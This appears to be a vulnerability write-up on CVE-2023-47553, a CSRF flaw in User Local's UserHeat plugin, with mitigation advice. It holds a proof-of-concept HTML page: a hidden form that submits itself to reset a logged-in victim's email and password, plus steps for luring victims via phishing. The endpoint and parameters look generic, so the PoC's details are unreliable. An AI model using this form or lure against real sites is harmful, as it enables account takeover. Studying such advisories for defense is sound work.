CVE-2023-47553 - Cross-Site Request Forgery Vulnerability Discovered in User Local Inc UserHeat Plugin
Summary: A Cross-Site Request Forgery (CSRF) vulnerability has been discovered in the UserHeat Plugin, affecting versions up to and including 1.1.6. This vulnerability allows an attacker to masquerade as an authenticated user and execute unauthorized actions on the user's behalf. This article provides details on the vulnerability, code snippets, and links to original references to help developers and website administrators protect their sites from this potential exploit.
What is CSRF?
Cross-Site Request Forgery, or CSRF, is a type of web vulnerability where an attacker tricks a user into unknowingly performing actions on a website without the user's consent. This can include changing email addresses, passwords, or even making monetary transactions. The attacker can do this by exploiting vulnerabilities in how the web application manages authentication and user sessions.
Affected versions
The vulnerability affects the UserHeat Plugin, a software product from User Local Inc. used for web analytics and user experience enhancement. The affected versions range from an unspecified initial version to version 1.1.6.
The Vulnerability (CVE-2023-47553)
The CSRF vulnerability discovered in the UserHeat Plugin allows a potential attacker to exploit the trust relationship between users and the web application. By doing so, the attacker can perform unauthorized actions on behalf of the user, potentially causing harm to the user's account and sensitive information. The vulnerability stems from the lack of proper tokens and validation of user requests.
Code Snippet
The following code snippet demonstrates an example exploit that serves as a proof of concept for this CSRF vulnerability.
<!DOCTYPE html>
<html>
<head>
<title>CSRF Exploit - CVE-2023-47553</title>
</head>
<body>
<form action="https://targetsite.com/userheatplugin/update"; method="POST" id="csrf_form">
<input type="hidden" name="new_email" value="attacker@email.com" />
<input type="hidden" name="new_password" value="Attacker123" />
</form>
<script>
document.getElementById("csrf_form").submit();
</script>
</body>
</html>
This example exploit demonstrates how an attacker could potentially change an authenticated user's email address and password.
Create a malicious website or email containing the exploit code.
2. Trick an authenticated user of the target website into visiting the malicious site or opening the malicious email (e.g., through social engineering or phishing techniques).
3. The exploit code would then be executed in the context of the user's authenticated session on the target site, performing unauthorized actions without the user's knowledge.
To protect your site from this CSRF vulnerability, the following measures can be taken
1. Update the UserHeat Plugin to the latest version, as it is likely that the developers will address this vulnerability in a future release.
2. Implement proper CSRF tokens and validation in the affected web application, to ensure that requests are only processed from trusted sources.
3. Educate users about the dangers of CSRF attacks and advise them on safe browsing practices, such as not clicking on suspicious links in emails or social media messages.
The following are the original references to the vulnerability report and supporting documentation
1. CVE-2023-47553 - National Vulnerability Database (NVD)
2. User Local Inc. UserHeat Plugin Documentation
Conclusion
Cross-Site Request Forgery vulnerabilities, such as the one described in this article, can have severe implications for both users and web applications. Taking the proper precautions to update software, implement secure coding practices, and educate users on safe browsing habits are essential steps in maintaining a safe and secure website environment.
Timeline
Published on: 11/18/2023 22:15:08 UTC
Last modified on: 11/24/2023 18:48:25 UTC